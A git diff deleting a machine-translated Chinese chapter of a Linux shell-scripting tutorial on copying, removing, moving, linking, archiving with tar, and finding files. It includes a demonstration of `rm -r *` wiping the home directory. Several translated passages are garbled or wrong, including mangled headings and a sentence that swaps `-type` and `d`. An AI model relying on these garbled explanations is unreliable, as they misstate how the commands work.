b/docs/learn-linux-shell-script/06.md deleted file mode 100644 index 1d5aae70..00000000 --- a/docs/learn-linux-shell-script/06.md +++ /dev/null @@ -1,549 +0,0 @@ -# 六、文件操作 - -本章专门介绍文件操作。正如在*一切都是文件*系统中一样,文件操作被认为是使用 Linux 最重要的方面之一。我们将从探索常见的文件操作开始,例如创建、复制和删除文件。我们将继续讨论归档,这是处理命令行时的另一个重要工具。本章的最后一部分将致力于在文件系统上查找文件,这是 shell 脚本编写器工具集中的另一项重要技能。 - -本章将介绍以下命令:`cp`、`rm`、`mv`、`ln`、`tar`、`locate`和`find`。 - -本章将涵盖以下主题: - -* 常见文件操作 -* 归档 -* 查找文件 - -# 技术要求 - -我们将使用我们在[第 2 章](02.html)、*设置您的本地环境*中创建的虚拟机来练习文件操作。目前不需要更多的资源。 - -# 常见文件操作 - -到目前为止,我们主要介绍了与 Linux 文件系统上的导航相关的命令。在前面的章节中,我们已经看到可以分别使用`mkdir`和`touch`来创建目录和空文件。如果我们想给文件一些有意义的(文本)内容,我们使用`vim`或`nano`。然而,我们还没有谈到删除文件或目录,或复制,重命名,或创建快捷方式。让我们从复制文件开始。 - -# 复制 - -本质上,在 Linux 上复制文件真的很简单:使用`cp`命令,后面跟着要复制的文件名到要复制的文件名。它看起来像这样: - -```sh -reader@ubuntu:~$ ls -l -total 12 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ cp testfile testfilecopy -reader@ubuntu:~$ ls -l -total 12 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile --rwxr-xr-- 1 reader reader 0 Aug 18 14:00 testfilecopy -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -如您所见,在本例中,我们复制了一个(空的)*文件*,该文件已经属于我们的*,而我们*与该文件在同一个目录*中。这可能会引发一些问题,例如:* - -* 我们是否总是需要与源文件和目标文件在同一个目录中? -* 文件的权限呢? -* 我们还能用`cp`复制目录吗? - -正如您所料,与 Linux 下的许多东西一样,`cp`命令也非常通用。我们确实可以复制不属于我们的文件;我们不需要和文件在同一个目录中,我们也可以复制目录!让我们试着做一些这样的事情: - -```sh -reader@ubuntu:~$ cd /var/log/ -reader@ubuntu:/var/log$ ls -l -total 3688 - -drwxr-xr-x 2 root root 4096 Apr 17 20:22 dist-upgrade --rw-r--r-- 1 root root 550975 Aug 18 13:35 dpkg.log --rw-r--r-- 1 root root 32160 Aug 11 10:15 faillog - --rw------- 1 root root 64320 Aug 11 10:15 tallylog - -reader@ubuntu:/var/log$ cp dpkg.log /home/reader/ -reader@ubuntu:/var/log$ ls -l /home/reader/ -total 552 --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile --rwxr-xr-- 1 reader reader 0 Aug 18 14:00 testfilecopy -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:/var/log$ cp tallylog /home/reader/ -cp: cannot open 'tallylog' for reading: Permission denied -reader@ubuntu:/var/log$ -``` - -那么,发生了什么?我们使用`cd`将目录更改为`/var/log/`。我们使用`ls`和*长的*选项列出了那里的文件。我们复制了一个文件到完全限定的`/home/reader/`目录,该文件具有我们能够读取的相对路径,但该路径属于`root:root`。当我们用完全限定路径列出`/home/reader/`时,我们看到复制的文件现在归`reader:reader`所有。当我们试图对`tallylog`文件执行同样的操作时,我们得到了错误`cannot open 'tallylog' for reading: Permission denied`。这应该是意料之外的,因为我们对该文件没有任何读取权限,所以复制会很困难。 - -这应该回答三个问题中的两个。但是目录呢?让我们尝试将`/tmp/`目录复制到我们的`home`目录中: - -```sh -reader@ubuntu:/var/log$ cd -reader@ubuntu:~$ cp /tmp/ . -cp: -r not specified; omitting directory '/tmp/' -reader@ubuntu:~$ ls -l -total 552 --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile --rwxr-xr-- 1 reader reader 0 Aug 18 14:00 testfilecopy -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ cp -r /tmp/ . -cp: cannot access '/tmp/systemd-private-72bcf47b69464914b021b421d5999bbe-systemd-timesyncd.service-LeF05x': Permission denied -cp: cannot access '/tmp/systemd-private-72bcf47b69464914b021b421d5999bbe-systemd-resolved.service-ApdzhW': Permission denied -reader@ubuntu:~$ ls -l -total 556 --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile --rwxr-xr-- 1 reader reader 0 Aug 18 14:00 testfilecopy -drwxrwxr-t 9 reader reader 4096 Aug 18 14:38 tmp -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -对于这样一个简单的练习,其实发生了很多!首先,我们使用`cd`导航回我们的`home`目录,没有任何参数;一个巧妙的小把戏。接下来,我们尝试将整个`/tmp/`目录复制到`.`(您应该记得,这是*当前目录*的简写)。然而,这个错误失败了`-r not specified; omitting directory '/tmp/'`。我们列出目录来检查这一点,事实上,似乎什么都没发生。当我们添加`-r`时,如错误所指定的,重试命令,我们会得到一些`Permission denied`错误。这并不出乎意料,因为并非`/tmp/`目录中的所有文件*对我们来说都是可读的。即使我们得到了错误,当我们现在检查我们的`home`目录的内容时,我们可以在那里看到`tmp`目录!因此,使用`-r`选项,也就是`--recursive`的缩写,允许我们复制目录和目录中的所有内容。* - -# 消除 - -在将一些文件和目录复制到我们的`home`目录后(这是一个安全的赌注,因为我们肯定知道我们可以在那里写!),我们就剩下一点点烂摊子。让我们使用`rm`命令删除一些重复的项目,而不是只创建文件: - -```sh -reader@ubuntu:~$ ls -l -total 556 --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile --rwxr-xr-- 1 reader reader 0 Aug 18 14:00 testfilecopy -drwxrwxr-t 9 reader reader 4096 Aug 18 14:38 tmp -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ rm testfilecopy -reader@ubuntu:~$ rm tmp/ -rm: cannot remove 'tmp/': Is a directory -reader@ubuntu:~$ rm -r tmp/ -reader@ubuntu:~$ ls -l -total 552 --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -使用后跟文件名的`rm`将其删除。正如你可能注意到的,没有。你确定吗?提示。这实际上可以通过使用`-i`标志来启用,但默认情况下并非如此。考虑到`rm`也允许你使用通配符,比如`*`(匹配所有内容),它会删除所有匹配的文件(并且可以被用户删除)。简而言之,这是一个快速丢失文件的好方法!然而,当我们试图将`rm`与目录名一起使用时,它给出了错误`cannot remove 'tmp/': Is a directory`。这个和`cp`命令很像,幸运的是我们的补救也是一样的:加`-r`为一个*递归*删除!同样,这是丢失文件的好方法;一个命令就能让你删除整个`home`目录和目录中的所有内容,甚至没有警告。考虑**这个**你的警告!特别是与`--force`的简称`-f`标志结合使用时,会保证`rm` *永远不会提示*而马上开始删除。 - -# 重命名、移动和链接 - -有时,我们不只是想创建或删除一个文件,我们可能需要重命名一个文件。奇怪的是,Linux 没有任何听起来像重命名的东西;然而,`mv`命令(针对 **m** o **v** e)确实实现了我们想要的功能。类似于`cp`命令,它以源文件和目标文件作为参数,如下所示: - -```sh -reader@ubuntu:~$ ls -l -total 552 --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ mv testfile renamedtestfile -reader@ubuntu:~$ mv testdir/ renamedtestdir -reader@ubuntu:~$ ls -l -total 552 --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 renamedtestdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -可以看到,`mv`命令使用起来真的很简单。它甚至适用于目录,不需要特殊选项,比如我们在`cp`和`rm`中看到的`-r`。然而,当我们引入通配符时,它确实变得有点复杂,但是现在不要担心这个。我们在前面的代码中使用的命令是相对的,但是它们完全合格或者混合使用。 - -有时,您会希望将文件从一个目录移动到另一个目录。仔细想想,这其实是对全限定文件名的重命名!没有数据被接触,但你只是想到达其他地方的文件。所以,使用`mv umaskfile umaskdir/`将`umaskfile`移动到`umaskdir/`: - -```sh -reader@ubuntu:~$ ls -l -total 16 --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 renamedtestdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ mv umaskfile umaskdir/ -reader@ubuntu:~$ ls -l -total 16 --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 renamedtestdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile -drwxrwx--- 2 reader reader 4096 Aug 19 10:37 umaskdir -reader@ubuntu:~$ ls -l umaskdir/ -total 0 --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -最后是`ln`命令,代表 **l** i **n** 王。这是 Linux 在文件之间创建链接的方式,最接近 Windows 使用的快捷方式。链接有两种类型:符号链接(也称为软链接)和硬链接。这种差异在文件系统的工作机制中有更深层次的体现:符号链接指的是文件名(或目录名),而硬链接指向存储文件或目录内容的*索引节点*。对于脚本,如果你使用链接,你可能会使用符号链接,所以让我们来看看那些在行动: - -```sh -reader@ubuntu:~$ ls -l -total 552 --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 renamedtestdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ ln -s /var/log/auth.log -reader@ubuntu:~$ ln -s /var/log/auth.log link-to-auth.log -reader@ubuntu:~$ ln -s /tmp/ -reader@ubuntu:~$ ln -s /tmp/ link-to-tmp -reader@ubuntu:~$ ls -l -total 552 -lrwxrwxrwx 1 reader reader 17 Aug 18 15:07 auth.log -> /var/log/auth.log --rw-r--r-- 1 reader reader 550975 Aug 18 14:20 dpkg.log -lrwxrwxrwx 1 reader reader 17 Aug 18 15:08 link-to-auth.log -> /var/log/auth.log -lrwxrwxrwx 1 reader reader 5 Aug 18 15:08 link-to-tmp -> /tmp/ --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 renamedtestdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile -lrwxrwxrwx 1 reader reader 5 Aug 18 15:08 tmp -> /tmp/ -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -我们使用`ln -s`(是`--symbolic`的缩写)创建了两种类型的符号链接:首先是`/var/log/auth.log`文件,然后是`/tmp/`目录。我们看到了两种不同的使用方式`ln -s`:如果没有第二个参数,它会创建一个与我们链接的东西同名的链接;否则,我们可以给出自己的链接名称作为第二个参数(从`link-to-auth.log`和`link-to-tmp/`链接可以看出)。我们现在可以通过与`/home/reader/auth.log`或`/home/reader/link-to-auth.log`交互来读取`/var/log/auth.log`的内容。如果我们想导航到`/tmp/`,我们现在可以使用`/home/reader/tmp/`或`/home/reader/link-to-tmp/`结合`cd`。虽然这个例子在日常工作中不是特别有用(除非键入`/var/log/auth.log`而不是`auth.log`可以节省大量时间),但是链接可以防止文件的重复副本,同时保持容易访问。 - -An important concept in linking (and Linux filesystems in general) is the **inode**. Every file (whatever the type, so including directories) has an inode, which describes the attributes and *disk block locations* of that file. In this context, attributes include things like ownership and permissions, as well as last change, access and modification timestamps. In linking, *soft links* have their own inodes, while *hard link*s refer to the same inode. - -在继续本章的下一部分之前,使用`rm`清理四个链接和复制的`dpk.log`文件。如果您对如何做到这一点有疑问,请查看`rm`的手册页。小提示:移除符号链接就像`rm `一样简单! - -# 归档 - -现在我们已经掌握了 Linux 中常见的文件操作,我们将继续讨论归档。虽然听起来很花哨,但归档只是指**创建归档**。一个大多数人都熟悉的例子是创建一个 ZIP 文件,这是一个归档文件。ZIP 不是特定于窗口的;这是一种*档案文件格式*,对 Windows、Linux、macOS 等有不同的实现。 - -如您所料,有许多归档文件格式。在 Linux 上,最常用的是 **tarball** ,它是使用`tar`命令创建的(源自术语**t**ape**ar**chive)*。*以`.tar`结尾的 tarball 文件未压缩。实际上,tarballs 几乎总是会被 Gzip 压缩,Gzip 代表 **G** NU **zip** 。这可以直接使用`tar`命令(最常见)或之后使用`gzip`命令(不太常见,但也可用于压缩除 tarballs 之外的文件)来完成。由于`tar`是一个复杂的命令,我们将更详细地探讨最常用的标志(描述摘自`tar`手册页): - -| `-c`、`--create` | 创建新的归档。参数提供要存档的文件的名称。除非给出`--no-recursion`选项,否则目录被递归存档。 | -| `-x`、`--extract`、`--get` | 从档案中提取文件。参数是可选的。给定后,它们指定要提取的归档成员的名称。 | -| `-t`、`--list` | 列出档案的内容。参数是可选的。当给定时,它们指定要列出的成员的名称。 | -| `-v`、`--verbose` | 已处理的冗长列表文件。 | -| `-f`、`--file=ARCHIVE` | 使用存档文件或设备 ARCHY。 | -| `-z`、`--gzip`、`--gunzip`、`--ungzip` | 通过 Gzip 过滤存档。 | -| `-C`、`--directory=DIR` | 在执行任何操作之前,更改为 DIR。这个选项是顺序敏感的,也就是说,它影响后面的所有选项。 | - -`tar`命令对于我们如何指定这些选项非常灵活。我们可以一个接一个地呈现它们,全部放在一起,有或没有连字符,或者有长或短选项。这意味着以下创建归档的方法都是正确的,并且都可以工作: - -* `tar czvf ` -* `tar -czvf ` -* `tar -c -z -v -f ` -* `tar --create --gzip --verbose --file= ` - -虽然这似乎很有帮助,但也可能令人困惑。我们的建议是:选择其中一种格式并坚持下去。在本书中,我们将使用最短的形式,因此这是所有不带破折号的短选项。让我们用这个表格来创建我们的第一个档案! - -```sh -reader@ubuntu:~$ ls -l -total 12 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 renamedtestdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir -reader@ubuntu:~$ tar czvf my-first-archive.tar.gz \ -nanofile.txt renamedtestfile -nanofile.txt -renamedtestfile -reader@ubuntu:~$ ls -l -total 16 --rw-rw-r-- 1 reader reader 267 Aug 19 10:29 my-first-archive.tar.gz --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 renamedtestdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -有了这个命令,我们**v**erbose**c**创建了一个名为`my-first-archive.tar.gz`的 g**z**IPP**f**文件,包含文件`nanofile.txt umaskfile`和`renamedtestfile`。 - -In this example, we only archived files. In practice, it is often nice to archive an entire directory. The syntax for this is exactly the same, only instead of a filename you will give a directory name. The whole directory will be archived (and, in the case of the `-z` option, compressed as well). When you unpack a tarball that archived a directory, the entire directory will be extracted again, not just the contents. - -现在,让我们看看打开它是否能把我们的文件还给我们!我们将压缩的 tarball 移动到`renamedtestdir`,并使用`tar xzvf`命令在那里打开包装: - -```sh -reader@ubuntu:~$ ls -l -total 16 --rw-rw-r-- 1 reader reader 226 Aug 19 10:40 my-first-archive.tar.gz --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 renamedtestdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile -drwxrwx--- 2 reader reader 4096 Aug 19 10:37 umaskdir -reader@ubuntu:~$ mv my-first-archive.tar.gz renamedtestdir/ -reader@ubuntu:~$ cd renamedtestdir/ -reader@ubuntu:~/renamedtestdir$ ls -l -total 4 --rw-rw-r-- 1 reader reader 226 Aug 19 10:40 my-first-archive.tar.gz -reader@ubuntu:~/renamedtestdir$ tar xzvf my-first-archive.tar.gz -nanofile.txt -renamedtestfile -reader@ubuntu:~/renamedtestdir$ ls -l -total 8 --rw-rw-r-- 1 reader reader 226 Aug 19 10:40 my-first-archive.tar.gz --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile -reader@ubuntu:~/renamedtestdir$ -``` - -正如我们所看到的,我们把文件放回了`renamedtestdir`!实际上,我们从未删除原始文件,所以这些是副本。在你不厌其烦地提取和清理所有东西之前,你可能想知道 tarball 里面有什么。这可以通过使用`-t`选项而不是`-x`来实现: - -```sh -reader@ubuntu:~/renamedtestdir$ tar tzvf my-first-archive.tar.gz --rw-rw-r-- reader/reader 69 2018-08-19 11:54 nanofile.txt --rw-rw-r-- reader/reader 0 2018-08-19 11:54 renamedtestfile -reader@ubuntu:~/renamedtestdir$ -``` - -最后一个广泛用于`tar`的有趣选项是`-C`,或`--directory`选项。该命令确保我们在提取归档文件之前不必移动它。让我们用它从我们的`home`目录中提取`/home/reader/renamedtestdir/my-first-archive.tar.gz`到`/home/reader/umaskdir/`: - -```sh -reader@ubuntu:~/renamedtestdir$ cd -reader@ubuntu:~$ tar xzvf renamedtestdir/my-first-archive.tar.gz -C umaskdir/ -nanofile.txt -renamedtestfile -reader@ubuntu:~$ ls -l umaskdir/ -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -通过在档案名称后指定目录参数`-C`,我们确保`tar`将 gzipped tarball 的内容提取到指定的目录中。 - -这涵盖了`tar`命令最重要的方面。然而,还有一件小事:清理!我们已经把我们的`home`目录弄得一团糟,而且我们没有任何文件可以做任何事情。下面是一个实际例子,展示了带有`rm -r`命令的通配符有多危险: - -```sh -reader@ubuntu:~$ ls -l -total 12 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 19 10:42 renamedtestdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 renamedtestfile -drwxrwx--- 2 reader reader 4096 Aug 19 10:47 umaskdir -reader@ubuntu:~$ rm -r * -reader@ubuntu:~$ ls -l -total 0 -reader@ubuntu:~$ -``` - -一个简单的命令,没有警告,所有文件,包括有更多文件的目录,都不见了!你应该想知道:不,Linux 也没有回收站。这些文件不见了;只有先进的硬盘恢复技术*可能*仍然能够恢复这些文件。 - -Make sure that you perform the preceding command, just to get a feeling for how destructive `rm` can be. Before you do, however, ensure that you are in your `home` directory and that you do not accidentally have any files there that you do not want to delete. If you followed our examples, this should not be the case, but if you've done anything else, be sure about what you're doing! - -# 查找文件 - -在了解了常见的文件操作和归档之后,我们还没有涉及到文件操作中的一项重要技能:查找文件。你知道如何复制或归档文件是非常好的,但是如果你找不到你想要操作的文件,你将很难完成你的任务。幸运的是,有专门用于在 Linux 文件系统上查找和定位文件的工具。而且,为了简单起见,这些被称为`find`和`locate`。`find`命令更复杂,但更强大,而`locate`命令在您确切知道您要找什么时更容易使用。首先,我们将向您展示如何使用`locate`,然后进入`find`更广泛的功能。 - -# 定居 - -在定位的手册页上,描述再合适不过了:`locate - find files by name`。`locate`命令默认安装在你的 Ubuntu 机器上,基本功能就像使用`locate `一样简单。让我们看看这是如何工作的: - -```sh -reader@ubuntu:~$ locate fstab -/etc/fstab -/lib/systemd/system-generators/systemd-fstab-generator -/sbin/fstab-decode -/usr/share/doc/mount/examples/fstab -/usr/share/doc/mount/examples/mount.fstab -/usr/share/doc/util-linux/examples/fstab -/usr/share/doc/util-linux/examples/fstab.example2 -/usr/share/man/man5/fstab.5.gz -/usr/share/man/man8/fstab-decode.8.gz -/usr/share/man/man8/systemd-fstab-generator.8.gz -/usr/share/vim/vim80/syntax/fstab.vim -reader@ubuntu:~$ -``` - -在前面的例子中,我们寻找文件名`fstab`。我们可能记得我们需要编辑这个文件以适应文件系统的变化,但是我们不确定在哪里可以找到它。`locate`向我们展示了磁盘上包含`fstab`的所有位置。如你所见,它不一定是完全匹配的;包含`fstab`字符串的所有内容都将被打印。 - -You might have noticed that the `locate` command completes almost instantly. That is because it uses a database for all files which is updated periodically, instead of going through the whole filesystem at runtime. Because of this, the information is not always accurate, since changes are not synchronized to the database in real-time. To ensure that you are talking to the database with the latest state of the filesystem, be sure to run `sudo updatedb` (requires root privileges) before running `locate`. This is also required before the first run of `locate` on a system, because otherwise there is no database to query! - -Locate 有一些选项,但根据我们的经验,只有知道确切的文件名(或文件名的确切部分),才能使用它。对于其他搜索,默认使用`find`命令是一个更好的主意。 - -# 发现 - -Find 是一个非常强大但复杂的命令。您可以使用`find`执行以下任一操作: - -* 搜索文件名 -* 搜索权限(用户和组) -* 搜索所有权 -* 搜索文件类型 -* 搜索文件大小 -* 搜索时间戳(创建时间、最后修改时间、最后访问时间) -* 仅在特定目录中搜索 - -解释`find`命令中的所有功能需要一整章的时间。我们将只描述最常见的用例。这里真正的教训是意识到`find`的高级功能;如果您需要查找具有特定属性的文件,请首先考虑`find`命令,并查看`man file`页面,看您是否可以利用“查找”进行搜索(剧透提醒:这几乎总是**的情况!).** - -先从 find: `find `的基本用法说起。如果没有任何选项和参数,find 将打印它在以下位置找到的每个文件: - -```sh -reader@ubuntu:~$ find /home/reader/ -/home/reader/ -/home/reader/.gnupg -/home/reader/.gnupg/private-keys-v1.d -/home/reader/.bash_logout -/home/reader/.sudo_as_admin_successful -/home/reader/.profile -/home/reader/.bashrc -/home/reader/.viminfo -/home/reader/.lesshst -/home/reader/.local -/home/reader/.local/share -/home/reader/.local/share/nano -/home/reader/.cache -/home/reader/.cache/motd.legal-displayed -/home/reader/.bash_history -reader@ubuntu:~$ -``` - -你可能以为你的`home`目录是空的。它实际上包含了相当多的隐藏文件或目录(以一个点开始),这是`find`为我们找到的。现在,让我们应用带有`-name`选项的过滤器: - -```sh -reader@ubuntu:~$ find /home/reader/ -name bash -reader@ubuntu:~$ find /home/reader/ -name *bash* -/home/reader/.bash_logout -/home/reader/.bashrc -/home/reader/.bash_history -reader@ubuntu:~$ find /home/reader/ -name .bashrc -/home/reader/.bashrc -reader@ubuntu:~$ -``` - -与您可能预期的相反,就部分匹配的文件而言,`find`的工作方式与`locate`不同。除非您在`-name`的参数周围添加通配符,否则它只会匹配完整的文件名,而不会匹配部分匹配的文件。这绝对是需要记住的事情。现在,只查找文件而不是目录怎么样?为此,我们可以对目录使用`-type`选项,对文件使用`d`参数: - -```sh -reader@ubuntu:~$ find /home/reader/ -type d -/home/reader/ -/home/reader/.gnupg -/home/reader/.gnupg/private-keys-v1.d -/home/reader/.local -/home/reader/.local/share -/home/reader/.local/share/nano -/home/reader/.cache -reader@ubuntu:~$ find /home/reader/ -type f -/home/reader/.bash_logout -/home/reader/.sudo_as_admin_successful -/home/reader/.profile -/home/reader/.bashrc -/home/reader/.viminfo -/home/reader/.lesshst -/home/reader/.cache/motd.legal-displayed -/home/reader/.bash_history -reader@ubuntu:~$ -``` - -第一个结果显示`/home/reader/`内的所有目录(包括`/home/reader/!`),而第二个结果打印所有文件。正如你所看到的,没有重叠,因为 Linux 下的文件总是只有一种类型。我们还可以组合多个选项,如`-name`和`-type`: - -```sh -reader@ubuntu:~$ find /home/reader/ -name *cache* -type f -reader@ubuntu:~$ find /home/reader/ -name *cache* -type d -/home/reader/.cache -reader@ubuntu:~$ -``` - -我们从在包含字符串缓存的`/home/reader/`中寻找*文件*开始。`find`命令不打印任何内容,这意味着我们没有找到任何内容。然而,如果我们使用缓存字符串查找*目录*,我们会看到`/home/reader/.cache/`目录。 - -作为最后一个例子,让我们看看如何使用`find`来区分不同大小的文件。为此,我们将使用`touch`创建一个空文件,并使用`vim`(或`nano`)创建一个非空文件: - -```sh -reader@ubuntu:~$ ls -l -total 0 -reader@ubuntu:~$ touch emptyfile -reader@ubuntu:~$ vim textfile.txt -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 0 Aug 19 11:54 emptyfile --rw-rw-r-- 1 reader reader 23 Aug 19 11:54 textfile.txt -reader@ubuntu:~ -``` - -从屏幕上的`0`和`23`可以看到,`emptyfile`包含 0 个字节,而`textfile.txt`包含 23 个字节(并非完全巧合,包含一个 23 个字符的句子)。让我们看看如何使用`find`命令找到这两个文件: - -```sh -reader@ubuntu:~$ find /home/reader/ -size 0c -/home/reader/.sudo_as_admin_successful -/home/reader/.cache/motd.legal-displayed -/home/reader/emptyfile -reader@ubuntu:~$ find /home/reader/ -size 23c -/home/reader/textfile.txt -reader@ubuntu:~$ -``` - -为此,我们使用`-size`选项。我们给它一个我们要找的数字,后跟一个字母,表示我们要处理的范围。`c`用于字节,`k`用于千字节,`M`用于兆字节,以此类推。您可以在手册页上找到这些值。结果显示,有三个文件正好是 0 字节:我们的`emptyfile`就是其中之一。这是一个正好 23 字节的文件:我们的`textfile.txt`。你可能会想:23 字节,这很具体!我们怎么知道一个文件到底有多少字节?你不会的。`find`的创作者还实现了一个大于的*和小于*的*构造,我们可以用它来给我们多一点灵活性:* - -```sh -reader@ubuntu:~$ find /home/reader/ -size +10c -/home/reader/ -/home/reader/.gnupg -/home/reader/.gnupg/private-keys-v1.d -/home/reader/.bash_logout -/home/reader/.profile -/home/reader/.bashrc -/home/reader/.viminfo -/home/reader/.lesshst -/home/reader/textfile.txt -/home/reader/.local -/home/reader/.local/share -/home/reader/.local/share/nano -/home/reader/.cache -/home/reader/.bash_history -reader@ubuntu:~$ find /home/reader/ -size +10c -size -30c -/home/reader/textfile.txt -reader@ubuntu:~$ -``` - -假设我们正在寻找一个至少大于 10 字节的文件。我们在参数上使用`+`选项,它只打印大于 10 字节的文件。然而,我们仍然看到太多的文件。现在,我们希望文件也小于 30 字节。我们添加了另一个`-size`选项,这次指定了`-30c`,这意味着文件将少于 30 字节。而且,并非完全出乎意料,我们的 23 字节`testfile.txt`被找到了! - -前面的所有选项以及更多选项可以组合起来形成一个非常强大的搜索查询。你在找一个*文件*,至少是*100 KB 但是*不超过* 10 MB,位于* `/var/`的某个地方*,是上周*创建的*,对你来说*可读吗*?只要结合`find`中的选项,你一定会很快找到那个文件!* - -# 摘要 - -本章描述了 Linux 中的文件操作。我们从常见的文件操作开始。我们解释了如何使用`cp`在 Linux 中复制文件,以及如何使用`mv`移动或重命名文件。接下来,我们讨论了如何使用`rm`删除文件和目录,以及如何使用`ln -s`命令在带有符号链接的 Linux 下创建*快捷方式*。 - 